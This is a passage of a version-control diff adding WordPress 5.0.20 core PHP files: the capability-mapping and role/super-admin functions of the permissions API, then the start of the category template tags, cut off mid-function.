+ * be 'delete_user', 'edit_user', 'remove_user', 'promote_user', 'delete_post',
+ * 'delete_page', 'edit_post', 'edit_page', 'read_post', or 'read_page'.
+ *
+ * @since 2.0.0
+ *
+ * @global array $post_type_meta_caps Used to get post type meta capabilities.
+ *
+ * @param string $cap       Capability name.
+ * @param int    $user_id   User ID.
+ * @param int    $object_id Optional. ID of the specific object to check against if `$cap` is a "meta" cap.
+ *                          "Meta" capabilities, e.g. 'edit_post', 'edit_user', etc., are capabilities used
+ *                          by map_meta_cap() to map to other "primitive" capabilities, e.g. 'edit_posts',
+ *                          'edit_others_posts', etc. The parameter is accessed via func_get_args().
+ * @return array Actual capabilities for meta capability.
+ */
+function map_meta_cap( $cap, $user_id ) {
+	$args = array_slice( func_get_args(), 2 );
+	$caps = array();
+
+	switch ( $cap ) {
+	case 'remove_user':
+		// In multisite the user must be a super admin to remove themselves.
+		if ( isset( $args[0] ) && $user_id == $args[0] && ! is_super_admin( $user_id ) ) {
+			$caps[] = 'do_not_allow';
+		} else {
+			$caps[] = 'remove_users';
+		}
+		break;
+	case 'promote_user':
+	case 'add_users':
+		$caps[] = 'promote_users';
+		break;
+	case 'edit_user':
+	case 'edit_users':
+		// Allow user to edit itself
+		if ( 'edit_user' == $cap && isset( $args[0] ) && $user_id == $args[0] )
+			break;
+
+		// In multisite the user must have manage_network_users caps. If editing a super admin, the user must be a super admin.
+		if ( is_multisite() && ( ( ! is_super_admin( $user_id ) && 'edit_user' === $cap && is_super_admin( $args[0] ) ) || ! user_can( $user_id, 'manage_network_users' ) ) ) {
+			$caps[] = 'do_not_allow';
+		} else {
+			$caps[] = 'edit_users'; // edit_user maps to edit_users.
+		}
+		break;
+	case 'delete_post':
+	case 'delete_page':
+		$post = get_post( $args[0] );
+		if ( ! $post ) {
+			$caps[] = 'do_not_allow';
+			break;
+		}
+
+		if ( 'revision' == $post->post_type ) {
+			$post = get_post( $post->post_parent );
+			if ( ! $post ) {
+				$caps[] = 'do_not_allow';
+				break;
+			}
+		}
+
+		if ( ( get_option( 'page_for_posts' ) == $post->ID ) || ( get_option( 'page_on_front' ) == $post->ID ) ) {
+			$caps[] = 'manage_options';
+			break;
+		}
+
+		$post_type = get_post_type_object( $post->post_type );
+		if ( ! $post_type ) {
+			/* translators: 1: post type, 2: capability name */
+			_doing_it_wrong( __FUNCTION__, sprintf( __( 'The post type %1$s is not registered, so it may not be reliable to check the capability "%2$s" against a post of that type.' ), $post->post_type, $cap ), '4.4.0' );
+			$caps[] = 'edit_others_posts';
+			break;
+		}
+
+		if ( ! $post_type->map_meta_cap ) {
+			$caps[] = $post_type->cap->$cap;
+			// Prior to 3.1 we would re-call map_meta_cap here.
+			if ( 'delete_post' == $cap )
+				$cap = $post_type->cap->$cap;
+			break;
+		}
+
+		// If the post author is set and the user is the author...
+		if ( $post->post_author && $user_id == $post->post_author ) {
+			// If the post is published or scheduled...
+			if ( in_array( $post->post_status, array( 'publish', 'future' ), true ) ) {
+				$caps[] = $post_type->cap->delete_published_posts;
+			} elseif ( 'trash' == $post->post_status ) {
+				$status = get_post_meta( $post->ID, '_wp_trash_meta_status', true );
+				if ( in_array( $status, array( 'publish', 'future' ), true ) ) {
+					$caps[] = $post_type->cap->delete_published_posts;
+				} else {
+					$caps[] = $post_type->cap->delete_posts;
+				}
+			} else {
+				// If the post is draft...
+				$caps[] = $post_type->cap->delete_posts;
+			}
+		} else {
+			// The user is trying to edit someone else's post.
+			$caps[] = $post_type->cap->delete_others_posts;
+			// The post is published or scheduled, extra cap required.
+			if ( in_array( $post->post_status, array( 'publish', 'future' ), true ) ) {
+				$caps[] = $post_type->cap->delete_published_posts;
+			} elseif ( 'private' == $post->post_status ) {
+				$caps[] = $post_type->cap->delete_private_posts;
+			}
+		}
+
+		/*
+		 * Setting the privacy policy page requires `manage_privacy_options`,
+		 * so deleting it should require that too.
+		 */
+		if ( (int) get_option( 'wp_page_for_privacy_policy' ) === $post->ID ) {
+			$caps = array_merge( $caps, map_meta_cap( 'manage_privacy_options', $user_id ) );
+		}
+
+		break;
+		// edit_post breaks down to edit_posts, edit_published_posts, or
+		// edit_others_posts
+	case 'edit_post':
+	case 'edit_page':
+		$post = get_post( $args[0] );
+		if ( ! $post ) {
+			$caps[] = 'do_not_allow';
+			break;
+		}
+
+		if ( 'revision' == $post->post_type ) {
+			$post = get_post( $post->post_parent );
+			if ( ! $post ) {
+				$caps[] = 'do_not_allow';
+				break;
+			}
+		}
+
+		$post_type = get_post_type_object( $post->post_type );
+		if ( ! $post_type ) {
+			/* translators: 1: post type, 2: capability name */
+			_doing_it_wrong( __FUNCTION__, sprintf( __( 'The post type %1$s is not registered, so it may not be reliable to check the capability "%2$s" against a post of that type.' ), $post->post_type, $cap ), '4.4.0' );
+			$caps[] = 'edit_others_posts';
+			break;
+		}
+
+		if ( ! $post_type->map_meta_cap ) {
+			$caps[] = $post_type->cap->$cap;
+			// Prior to 3.1 we would re-call map_meta_cap here.
+			if ( 'edit_post' == $cap )
+				$cap = $post_type->cap->$cap;
+			break;
+		}
+
+		// If the post author is set and the user is the author...
+		if ( $post->post_author && $user_id == $post->post_author ) {
+			// If the post is published or scheduled...
+			if ( in_array( $post->post_status, array( 'publish', 'future' ), true ) ) {
+				$caps[] = $post_type->cap->edit_published_posts;
+			} elseif ( 'trash' == $post->post_status ) {
+				$status = get_post_meta( $post->ID, '_wp_trash_meta_status', true );
+				if ( in_array( $status, array( 'publish', 'future' ), true ) ) {
+					$caps[] = $post_type->cap->edit_published_posts;
+				} else {
+					$caps[] = $post_type->cap->edit_posts;
+				}
+			} else {
+				// If the post is draft...
+				$caps[] = $post_type->cap->edit_posts;
+			}
+		} else {
+			// The user is trying to edit someone else's post.
+			$caps[] = $post_type->cap->edit_others_posts;
+			// The post is published or scheduled, extra cap required.
+			if ( in_array( $post->post_status, array( 'publish', 'future' ), true ) ) {
+				$caps[] = $post_type->cap->edit_published_posts;
+			} elseif ( 'private' == $post->post_status ) {
+				$caps[] = $post_type->cap->edit_private_posts;
+			}
+		}
+
+		/*
+		 * Setting the privacy policy page requires `manage_privacy_options`,
+		 * so editing it should require that too.
+		 */
+		if ( (int) get_option( 'wp_page_for_privacy_policy' ) === $post->ID ) {
+			$caps = array_merge( $caps, map_meta_cap( 'manage_privacy_options', $user_id ) );
+		}
+
+		break;
+	case 'read_post':
+	case 'read_page':
+		$post = get_post( $args[0] );
+		if ( ! $post ) {
+			$caps[] = 'do_not_allow';
+			break;
+		}
+
+		if ( 'revision' == $post->post_type ) {
+			$post = get_post( $post->post_parent );
+			if ( ! $post ) {
+				$caps[] = 'do_not_allow';
+				break;
+			}
+		}
+
+		$post_type = get_post_type_object( $post->post_type );
+		if ( ! $post_type ) {
+			/* translators: 1: post type, 2: capability name */
+			_doing_it_wrong( __FUNCTION__, sprintf( __( 'The post type %1$s is not registered, so it may not be reliable to check the capability "%2$s" against a post of that type.' ), $post->post_type, $cap ), '4.4.0' );
+			$caps[] = 'edit_others_posts';
+			break;
+		}
+
+		if ( ! $post_type->map_meta_cap ) {
+			$caps[] = $post_type->cap->$cap;
+			// Prior to 3.1 we would re-call map_meta_cap here.
+			if ( 'read_post' == $cap )
+				$cap = $post_type->cap->$cap;
+			break;
+		}
+
+		$status_obj = get_post_status_object( $post->post_status );
+		if ( $status_obj->public ) {
+			$caps[] = $post_type->cap->read;
+			break;
+		}
+
+		if ( $post->post_author && $user_id == $post->post_author ) {
+			$caps[] = $post_type->cap->read;
+		} elseif ( $status_obj->private ) {
+			$caps[] = $post_type->cap->read_private_posts;
+		} else {
+			$caps = map_meta_cap( 'edit_post', $user_id, $post->ID );
+		}
+		break;
+	case 'publish_post':
+		$post = get_post( $args[0] );
+		if ( ! $post ) {
+			$caps[] = 'do_not_allow';
+			break;
+		}
+
+		$post_type = get_post_type_object( $post->post_type );
+		if ( ! $post_type ) {
+			/* translators: 1: post type, 2: capability name */
+			_doing_it_wrong( __FUNCTION__, sprintf( __( 'The post type %1$s is not registered, so it may not be reliable to check the capability "%2$s" against a post of that type.' ), $post->post_type, $cap ), '4.4.0' );
+			$caps[] = 'edit_others_posts';
+			break;
+		}
+
+		$caps[] = $post_type->cap->publish_posts;
+		break;
+	case 'edit_post_meta':
+	case 'delete_post_meta':
+	case 'add_post_meta':
+	case 'edit_comment_meta':
+	case 'delete_comment_meta':
+	case 'add_comment_meta':
+	case 'edit_term_meta':
+	case 'delete_term_meta':
+	case 'add_term_meta':
+	case 'edit_user_meta':
+	case 'delete_user_meta':
+	case 'add_user_meta':
+		list( $_, $object_type, $_ ) = explode( '_', $cap );
+		$object_id = (int) $args[0];
+		$object_subtype = get_object_subtype( $object_type, $object_id );
+
+		if ( empty( $object_subtype ) ) {
+			$caps[] = 'do_not_allow';
+			break;
+		}
+
+		$caps = map_meta_cap( "edit_{$object_type}", $user_id, $object_id );
+
+		$meta_key = isset( $args[1] ) ? $args[1] : false;
+
+		if ( $meta_key ) {
+			$allowed = ! is_protected_meta( $meta_key, $object_type );
+
+			if ( ! empty( $object_subtype ) && has_filter( "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}" ) ) {
+
+				/**
+				 * Filters whether the user is allowed to edit a specific meta key of a specific object type and subtype.
+				 *
+				 * The dynamic portions of the hook name, `$object_type`, `$meta_key`,
+				 * and `$object_subtype`, refer to the metadata object type (comment, post, term or user),
+				 * the meta key value, and the object subtype respectively.
+				 *
+				 * @since 4.9.8
+				 *
+				 * @param bool     $allowed   Whether the user can add the object meta. Default false.
+				 * @param string   $meta_key  The meta key.
+				 * @param int      $object_id Object ID.
+				 * @param int      $user_id   User ID.
+				 * @param string   $cap       Capability name.
+				 * @param string[] $caps      Array of the user's capabilities.
+				 */
+				$allowed = apply_filters( "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $allowed, $meta_key, $object_id, $user_id, $cap, $caps );
+			} else {
+
+				/**
+				 * Filters whether the user is allowed to edit a specific meta key of a specific object type.
+				 *
+				 * Return true to have the mapped meta caps from `edit_{$object_type}` apply.
+				 *
+				 * The dynamic portion of the hook name, `$object_type` refers to the object type being filtered.
+				 * The dynamic portion of the hook name, `$meta_key`, refers to the meta key passed to map_meta_cap().
+				 *
+				 * @since 3.3.0 As `auth_post_meta_{$meta_key}`.
+				 * @since 4.6.0
+				 *
+				 * @param bool     $allowed   Whether the user can add the object meta. Default false.
+				 * @param string   $meta_key  The meta key.
+				 * @param int      $object_id Object ID.
+				 * @param int      $user_id   User ID.
+				 * @param string   $cap       Capability name.
+				 * @param string[] $caps      Array of the user's capabilities.
+				 */
+				$allowed = apply_filters( "auth_{$object_type}_meta_{$meta_key}", $allowed, $meta_key, $object_id, $user_id, $cap, $caps );
+			}
+
+			if ( ! empty( $object_subtype ) ) {
+
+				/**
+				 * Filters whether the user is allowed to edit meta for specific object types/subtypes.
+				 *
+				 * Return true to have the mapped meta caps from `edit_{$object_type}` apply.
+				 *
+				 * The dynamic portion of the hook name, `$object_type` refers to the object type being filtered.
+				 * The dynamic portion of the hook name, `$object_subtype` refers to the object subtype being filtered.
+				 * The dynamic portion of the hook name, `$meta_key`, refers to the meta key passed to map_meta_cap().
+				 *
+				 * @since 4.6.0 As `auth_post_{$post_type}_meta_{$meta_key}`.
+				 * @since 4.7.0
+				 * @deprecated 4.9.8 Use `auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}`
+				 *
+				 * @param bool     $allowed   Whether the user can add the object meta. Default false.
+				 * @param string   $meta_key  The meta key.
+				 * @param int      $object_id Object ID.
+				 * @param int      $user_id   User ID.
+				 * @param string   $cap       Capability name.
+				 * @param string[] $caps      Array of the user's capabilities.
+				 */
+				$allowed = apply_filters_deprecated( "auth_{$object_type}_{$object_subtype}_meta_{$meta_key}", array( $allowed, $meta_key, $object_id, $user_id, $cap, $caps ), '4.9.8', "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}" );
+			}
+
+			if ( ! $allowed ) {
+				$caps[] = $cap;
+			}
+		}
+		break;
+	case 'edit_comment':
+		$comment = get_comment( $args[0] );
+		if ( ! $comment ) {
+			$caps[] = 'do_not_allow';
+			break;
+		}
+
+		$post = get_post( $comment->comment_post_ID );
+
+		/*
+		 * If the post doesn't exist, we have an orphaned comment.
+		 * Fall back to the edit_posts capability, instead.
+		 */
+		if ( $post ) {
+			$caps = map_meta_cap( 'edit_post', $user_id, $post->ID );
+		} else {
+			$caps = map_meta_cap( 'edit_posts', $user_id );
+		}
+		break;
+	case 'unfiltered_upload':
+		if ( defined('ALLOW_UNFILTERED_UPLOADS') && ALLOW_UNFILTERED_UPLOADS && ( !is_multisite() || is_super_admin( $user_id ) )  )
+			$caps[] = $cap;
+		else
+			$caps[] = 'do_not_allow';
+		break;
+	case 'edit_css' :
+	case 'unfiltered_html' :
+		// Disallow unfiltered_html for all users, even admins and super admins.
+		if ( defined( 'DISALLOW_UNFILTERED_HTML' ) && DISALLOW_UNFILTERED_HTML )
+			$caps[] = 'do_not_allow';
+		elseif ( is_multisite() && ! is_super_admin( $user_id ) )
+			$caps[] = 'do_not_allow';
+		else
+			$caps[] = 'unfiltered_html';
+		break;
+	case 'edit_files':
+	case 'edit_plugins':
+	case 'edit_themes':
+		// Disallow the file editors.
+		if ( defined( 'DISALLOW_FILE_EDIT' ) && DISALLOW_FILE_EDIT )
+			$caps[] = 'do_not_allow';
+		elseif ( ! wp_is_file_mod_allowed( 'capability_edit_themes' ) )
+			$caps[] = 'do_not_allow';
+		elseif ( is_multisite() && ! is_super_admin( $user_id ) )
+			$caps[] = 'do_not_allow';
+		else
+			$caps[] = $cap;
+		break;
+	case 'update_plugins':
+	case 'delete_plugins':
+	case 'install_plugins':
+	case 'upload_plugins':
+	case 'update_themes':
+	case 'delete_themes':
+	case 'install_themes':
+	case 'upload_themes':
+	case 'update_core':
+		// Disallow anything that creates, deletes, or updates core, plugin, or theme files.
+		// Files in uploads are excepted.
+		if ( ! wp_is_file_mod_allowed( 'capability_update_core' ) ) {
+			$caps[] = 'do_not_allow';
+		} elseif ( is_multisite() && ! is_super_admin( $user_id ) ) {
+			$caps[] = 'do_not_allow';
+		} elseif ( 'upload_themes' === $cap ) {
+			$caps[] = 'install_themes';
+		} elseif ( 'upload_plugins' === $cap ) {
+			$caps[] = 'install_plugins';
+		} else {
+			$caps[] = $cap;
+		}
+		break;
+	case 'install_languages':
+	case 'update_languages':
+		if ( ! wp_is_file_mod_allowed( 'can_install_language_pack' ) ) {
+			$caps[] = 'do_not_allow';
+		} elseif ( is_multisite() && ! is_super_admin( $user_id ) ) {
+			$caps[] = 'do_not_allow';
+		} else {
+			$caps[] = 'install_languages';
+		}
+		break;
+	case 'activate_plugins':
+	case 'deactivate_plugins':
+	case 'activate_plugin':
+	case 'deactivate_plugin':
+		$caps[] = 'activate_plugins';
+		if ( is_multisite() ) {
+			// update_, install_, and delete_ are handled above with is_super_admin().
+			$menu_perms = get_site_option( 'menu_items', array() );
+			if ( empty( $menu_perms['plugins'] ) )
+				$caps[] = 'manage_network_plugins';
+		}
+		break;
+	case 'delete_user':
+	case 'delete_users':
+		// If multisite only super admins can delete users.
+		if ( is_multisite() && ! is_super_admin( $user_id ) )
+			$caps[] = 'do_not_allow';
+		else
+			$caps[] = 'delete_users'; // delete_user maps to delete_users.
+		break;
+	case 'create_users':
+		if ( !is_multisite() )
+			$caps[] = $cap;
+		elseif ( is_super_admin( $user_id ) || get_site_option( 'add_new_users' ) )
+			$caps[] = $cap;
+		else
+			$caps[] = 'do_not_allow';
+		break;
+	case 'manage_links' :
+		if ( get_option( 'link_manager_enabled' ) )
+			$caps[] = $cap;
+		else
+			$caps[] = 'do_not_allow';
+		break;
+	case 'customize' :
+		$caps[] = 'edit_theme_options';
+		break;
+	case 'delete_site':
+		if ( is_multisite() ) {
+			$caps[] = 'manage_options';
+		} else {
+			$caps[] = 'do_not_allow';
+		}
+		break;
+	case 'edit_term':
+	case 'delete_term':
+	case 'assign_term':
+		$term_id = (int) $args[0];
+		$term = get_term( $term_id );
+		if ( ! $term || is_wp_error( $term ) ) {
+			$caps[] = 'do_not_allow';
+			break;
+		}
+
+		$tax = get_taxonomy( $term->taxonomy );
+		if ( ! $tax ) {
+			$caps[] = 'do_not_allow';
+			break;
+		}
+
+		if ( 'delete_term' === $cap && ( $term->term_id == get_option( 'default_' . $term->taxonomy ) ) ) {
+			$caps[] = 'do_not_allow';
+			break;
+		}
+
+		$taxo_cap = $cap . 's';
+
+		$caps = map_meta_cap( $tax->cap->$taxo_cap, $user_id, $term_id );
+
+		break;
+	case 'manage_post_tags':
+	case 'edit_categories':
+	case 'edit_post_tags':
+	case 'delete_categories':
+	case 'delete_post_tags':
+		$caps[] = 'manage_categories';
+		break;
+	case 'assign_categories':
+	case 'assign_post_tags':
+		$caps[] = 'edit_posts';
+		break;
+	case 'create_sites':
+	case 'delete_sites':
+	case 'manage_network':
+	case 'manage_sites':
+	case 'manage_network_users':
+	case 'manage_network_plugins':
+	case 'manage_network_themes':
+	case 'manage_network_options':
+	case 'upgrade_network':
+		$caps[] = $cap;
+		break;
+	case 'setup_network':
+		if ( is_multisite() ) {
+			$caps[] = 'manage_network_options';
+		} else {
+			$caps[] = 'manage_options';
+		}
+		break;
+	case 'export_others_personal_data':
+	case 'erase_others_personal_data':
+	case 'manage_privacy_options':
+		$caps[] = is_multisite() ? 'manage_network' : 'manage_options';
+		break;
+	default:
+		// Handle meta capabilities for custom post types.
+		global $post_type_meta_caps;
+		if ( isset( $post_type_meta_caps[ $cap ] ) ) {
+			$args = array_merge( array( $post_type_meta_caps[ $cap ], $user_id ), $args );
+			return call_user_func_array( 'map_meta_cap', $args );
+		}
+
+		// Block capabilities map to their post equivalent.
+		$block_caps = array(
+			'edit_blocks',
+			'edit_others_blocks',
+			'publish_blocks',
+			'read_private_blocks',
+			'delete_blocks',
+			'delete_private_blocks',
+			'delete_published_blocks',
+			'delete_others_blocks',
+			'edit_private_blocks',
+			'edit_published_blocks',
+		);
+		if ( in_array( $cap, $block_caps, true ) ) {
+			$cap = str_replace( '_blocks', '_posts', $cap );
+		}
+
+		// If no meta caps match, return the original cap.
+		$caps[] = $cap;
+	}
+
+	/**
+	 * Filters a user's capabilities depending on specific context and/or privilege.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array  $caps    Returns the user's actual capabilities.
+	 * @param string $cap     Capability name.
+	 * @param int    $user_id The user ID.
+	 * @param array  $args    Adds the context to the cap. Typically the object ID.
+	 */
+	return apply_filters( 'map_meta_cap', $caps, $cap, $user_id, $args );
+}
+
+/**
+ * Whether the current user has a specific capability.
+ *
+ * While checking against particular roles in place of a capability is supported
+ * in part, this practice is discouraged as it may produce unreliable results.
+ *
+ * Note: Will always return true if the current user is a super admin, unless specifically denied.
+ *
+ * @since 2.0.0
+ *
+ * @see WP_User::has_cap()
+ * @see map_meta_cap()
+ *
+ * @param string $capability Capability name.
+ * @param int    $object_id  Optional. ID of the specific object to check against if `$capability` is a "meta" cap.
+ *                           "Meta" capabilities, e.g. 'edit_post', 'edit_user', etc., are capabilities used
+ *                           by map_meta_cap() to map to other "primitive" capabilities, e.g. 'edit_posts',
+ *                           'edit_others_posts', etc. Accessed via func_get_args() and passed to WP_User::has_cap(),
+ *                           then map_meta_cap().
+ * @return bool Whether the current user has the given capability. If `$capability` is a meta cap and `$object_id` is
+ *              passed, whether the current user has the given meta capability for the given object.
+ */
+function current_user_can( $capability ) {
+	$current_user = wp_get_current_user();
+
+	if ( empty( $current_user ) )
+		return false;
+
+	$args = array_slice( func_get_args(), 1 );
+	$args = array_merge( array( $capability ), $args );
+
+	return call_user_func_array( array( $current_user, 'has_cap' ), $args );
+}
+
+/**
+ * Whether the current user has a specific capability for a given site.
+ *
+ * @since 3.0.0
+ *
+ * @param int    $blog_id    Site ID.
+ * @param string $capability Capability name.
+ * @return bool Whether the user has the given capability.
+ */
+function current_user_can_for_blog( $blog_id, $capability ) {
+	$switched = is_multisite() ? switch_to_blog( $blog_id ) : false;
+
+	$current_user = wp_get_current_user();
+
+	if ( empty( $current_user ) ) {
+		if ( $switched ) {
+			restore_current_blog();
+		}
+		return false;
+	}
+
+	$args = array_slice( func_get_args(), 2 );
+	$args = array_merge( array( $capability ), $args );
+
+	$can = call_user_func_array( array( $current_user, 'has_cap' ), $args );
+
+	if ( $switched ) {
+		restore_current_blog();
+	}
+
+	return $can;
+}
+
+/**
+ * Whether the author of the supplied post has a specific capability.
+ *
+ * @since 2.9.0
+ *
+ * @param int|WP_Post $post       Post ID or post object.
+ * @param string      $capability Capability name.
+ * @return bool Whether the post author has the given capability.
+ */
+function author_can( $post, $capability ) {
+	if ( !$post = get_post($post) )
+		return false;
+
+	$author = get_userdata( $post->post_author );
+
+	if ( ! $author )
+		return false;
+
+	$args = array_slice( func_get_args(), 2 );
+	$args = array_merge( array( $capability ), $args );
+
+	return call_user_func_array( array( $author, 'has_cap' ), $args );
+}
+
+/**
+ * Whether a particular user has a specific capability.
+ *
+ * @since 3.1.0
+ *
+ * @param int|WP_User $user       User ID or object.
+ * @param string      $capability Capability name.
+ * @return bool Whether the user has the given capability.
+ */
+function user_can( $user, $capability ) {
+	if ( ! is_object( $user ) )
+		$user = get_userdata( $user );
+
+	if ( ! $user || ! $user->exists() )
+		return false;
+
+	$args = array_slice( func_get_args(), 2 );
+	$args = array_merge( array( $capability ), $args );
+
+	return call_user_func_array( array( $user, 'has_cap' ), $args );
+}
+
+/**
+ * Retrieves the global WP_Roles instance and instantiates it if necessary.
+ *
+ * @since 4.3.0
+ *
+ * @global WP_Roles $wp_roles WP_Roles global instance.
+ *
+ * @return WP_Roles WP_Roles global instance if not already instantiated.
+ */
+function wp_roles() {
+	global $wp_roles;
+
+	if ( ! isset( $wp_roles ) ) {
+		$wp_roles = new WP_Roles();
+	}
+	return $wp_roles;
+}
+
+/**
+ * Retrieve role object.
+ *
+ * @since 2.0.0
+ *
+ * @param string $role Role name.
+ * @return WP_Role|null WP_Role object if found, null if the role does not exist.
+ */
+function get_role( $role ) {
+	return wp_roles()->get_role( $role );
+}
+
+/**
+ * Add role, if it does not exist.
+ *
+ * @since 2.0.0
+ *
+ * @param string $role Role name.
+ * @param string $display_name Display name for role.
+ * @param array $capabilities List of capabilities, e.g. array( 'edit_posts' => true, 'delete_posts' => false );
+ * @return WP_Role|null WP_Role object if role is added, null if already exists.
+ */
+function add_role( $role, $display_name, $capabilities = array() ) {
+	if ( empty( $role ) ) {
+		return;
+	}
+	return wp_roles()->add_role( $role, $display_name, $capabilities );
+}
+
+/**
+ * Remove role, if it exists.
+ *
+ * @since 2.0.0
+ *
+ * @param string $role Role name.
+ */
+function remove_role( $role ) {
+	wp_roles()->remove_role( $role );
+}
+
+/**
+ * Retrieve a list of super admins.
+ *
+ * @since 3.0.0
+ *
+ * @global array $super_admins
+ *
+ * @return array List of super admin logins
+ */
+function get_super_admins() {
+	global $super_admins;
+
+	if ( isset($super_admins) )
+		return $super_admins;
+	else
+		return get_site_option( 'site_admins', array('admin') );
+}
+
+/**
+ * Determine if user is a site admin.
+ *
+ * @since 3.0.0
+ *
+ * @param int $user_id (Optional) The ID of a user. Defaults to the current user.
+ * @return bool True if the user is a site admin.
+ */
+function is_super_admin( $user_id = false ) {
+	if ( ! $user_id || $user_id == get_current_user_id() )
+		$user = wp_get_current_user();
+	else
+		$user = get_userdata( $user_id );
+
+	if ( ! $user || ! $user->exists() )
+		return false;
+
+	if ( is_multisite() ) {
+		$super_admins = get_super_admins();
+		if ( is_array( $super_admins ) && in_array( $user->user_login, $super_admins ) )
+			return true;
+	} else {
+		if ( $user->has_cap('delete_users') )
+			return true;
+	}
+
+	return false;
+}
+
+/**
+ * Grants Super Admin privileges.
+ *
+ * @since 3.0.0
+ *
+ * @global array $super_admins
+ *
+ * @param int $user_id ID of the user to be granted Super Admin privileges.
+ * @return bool True on success, false on failure. This can fail when the user is
+ *              already a super admin or when the `$super_admins` global is defined.
+ */
+function grant_super_admin( $user_id ) {
+	// If global super_admins override is defined, there is nothing to do here.
+	if ( isset( $GLOBALS['super_admins'] ) || ! is_multisite() ) {
+		return false;
+	}
+
+	/**
+	 * Fires before the user is granted Super Admin privileges.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param int $user_id ID of the user that is about to be granted Super Admin privileges.
+	 */
+	do_action( 'grant_super_admin', $user_id );
+
+	// Directly fetch site_admins instead of using get_super_admins()
+	$super_admins = get_site_option( 'site_admins', array( 'admin' ) );
+
+	$user = get_userdata( $user_id );
+	if ( $user && ! in_array( $user->user_login, $super_admins ) ) {
+		$super_admins[] = $user->user_login;
+		update_site_option( 'site_admins' , $super_admins );
+
+		/**
+		 * Fires after the user is granted Super Admin privileges.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param int $user_id ID of the user that was granted Super Admin privileges.
+		 */
+		do_action( 'granted_super_admin', $user_id );
+		return true;
+	}
+	return false;
+}
+
+/**
+ * Revokes Super Admin privileges.
+ *
+ * @since 3.0.0
+ *
+ * @global array $super_admins
+ *
+ * @param int $user_id ID of the user Super Admin privileges to be revoked from.
+ * @return bool True on success, false on failure. This can fail when the user's email
+ *              is the network admin email or when the `$super_admins` global is defined.
+ */
+function revoke_super_admin( $user_id ) {
+	// If global super_admins override is defined, there is nothing to do here.
+	if ( isset( $GLOBALS['super_admins'] ) || ! is_multisite() ) {
+		return false;
+	}
+
+	/**
+	 * Fires before the user's Super Admin privileges are revoked.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param int $user_id ID of the user Super Admin privileges are being revoked from.
+	 */
+	do_action( 'revoke_super_admin', $user_id );
+
+	// Directly fetch site_admins instead of using get_super_admins()
+	$super_admins = get_site_option( 'site_admins', array( 'admin' ) );
+
+	$user = get_userdata( $user_id );
+	if ( $user && 0 !== strcasecmp( $user->user_email, get_site_option( 'admin_email' ) ) ) {
+		if ( false !== ( $key = array_search( $user->user_login, $super_admins ) ) ) {
+			unset( $super_admins[$key] );
+			update_site_option( 'site_admins', $super_admins );
+
+			/**
+			 * Fires after the user's Super Admin privileges are revoked.
+			 *
+			 * @since 3.0.0
+			 *
+			 * @param int $user_id ID of the user Super Admin privileges were revoked from.
+			 */
+			do_action( 'revoked_super_admin', $user_id );
+			return true;
+		}
+	}
+	return false;
+}
+
+/**
+ * Filters the user capabilities to grant the 'install_languages' capability as necessary.
+ *
+ * A user must have at least one out of the 'update_core', 'install_plugins', and
+ * 'install_themes' capabilities to qualify for 'install_languages'.
+ *
+ * @since 4.9.0
+ *
+ * @param array $allcaps An array of all the user's capabilities.
+ * @return array Filtered array of the user's capabilities.
+ */
+function wp_maybe_grant_install_languages_cap( $allcaps ) {
+	if ( ! empty( $allcaps['update_core'] ) || ! empty( $allcaps['install_plugins'] ) || ! empty( $allcaps['install_themes'] ) ) {
+		$allcaps['install_languages'] = true;
+	}
+
+	return $allcaps;
+}
Index: /tags/5.0.20/src/wp-includes/category-template.php
===================================================================
--- /tags/5.0.20/src/wp-includes/category-template.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/category-template.php	(revision 56912)
@@ -0,0 +1,1423 @@
+<?php
+/**
+ * Taxonomy API: Core category-specific template tags
+ *
+ * @package WordPress
+ * @subpackage Template
+ * @since 1.2.0
+ */
+
+/**
+ * Retrieve category link URL.
+ *
+ * @since 1.0.0
+ * @see get_term_link()
+ *
+ * @param int|object $category Category ID or object.
+ * @return string Link on success, empty string if category does not exist.
+ */
+function get_category_link( $category ) {
+	if ( ! is_object( $category ) )
+		$category = (int) $category;
+
+	$category = get_term_link( $category );
+
+	if ( is_wp_error( $category ) )
+		return '';
+
+	return $category;
+}
+
+/**
+ * Retrieve category parents with separator.
+ *
+ * @since 1.2.0
+ * @since 4.8.0 The `$visited` parameter was deprecated and renamed to `$deprecated`.
+ *
+ * @param int $id Category ID.
+ * @param bool $link Optional, default is false. Whether to format with link.
+ * @param string $separator Optional, default is '/'. How to separate categories.
+ * @param bool $nicename Optional, default is false. Whether to use nice name for display.
+ * @param array $deprecated Not used.
+ * @return string|WP_Error A list of category parents on success, WP_Error on failure.
+ */
+function get_category_parents( $id, $link = false, $separator = '/', $nicename = false, $deprecated = array() ) {
+
+	if ( ! empty( $deprecated ) ) {
+		_deprecated_argument( __FUNCTION__, '4.8.0' );
+	}
+
+	$format = $nicename ? 'slug' : 'name';
+
+	$args = array(
+		'separator' => $separator,
+		'link'      => $link,
+		'format'    => $format,
+	);
+
+	return get_term_parents_list( $id, 'category', $args );
+}
+
+/**
+ * Retrieve post categories.
+ *
+ * This tag may be used outside The Loop by passing a post id as the parameter.
+ *
+ * Note: This function only returns results from the default "category" taxonomy.
+ * For custom taxonomies use get_the_terms().
+ *
+ * @since 0.71
+ *
+ * @param int $id Optional, default to current post ID. The post ID.
+ * @return array Array of WP_Term objects, one for each category assigned to the post.
+ */
+function get_the_category( $id = false ) {
+	$categories = get_the_terms( $id, 'category' );
+	if ( ! $categories || is_wp_error( $categories ) )
+		$categories = array();
+
+	$categories = array_values( $categories );
+
+	foreach ( array_keys( $categories ) as $key ) {
+		_make_cat_compat( $categories[$key] );
+	}
+
+	/**
+	 * Filters the array of categories to return for a post.
+	 *
+	 * @since 3.1.0
+	 * @since 4.4.0 Added `$id` parameter.
+	 *
+	 * @param array $categories An array of categories to return for the post.
+	 * @param int   $id         ID of the post.
+	 */
+	return apply_filters( 'get_the_categories', $categories, $id );
+}
+
+/**
+ * Retrieve category name based on category ID.
+ *
+ * @since 0.71
+ *
+ * @param int $cat_ID Category ID.
+ * @return string|WP_Error Category name on success, WP_Error on failure.
+ */
+function get_the_category_by_ID( $cat_ID ) {
+	$cat_ID = (int) $cat_ID;
+	$category = get_term( $cat_ID );
+
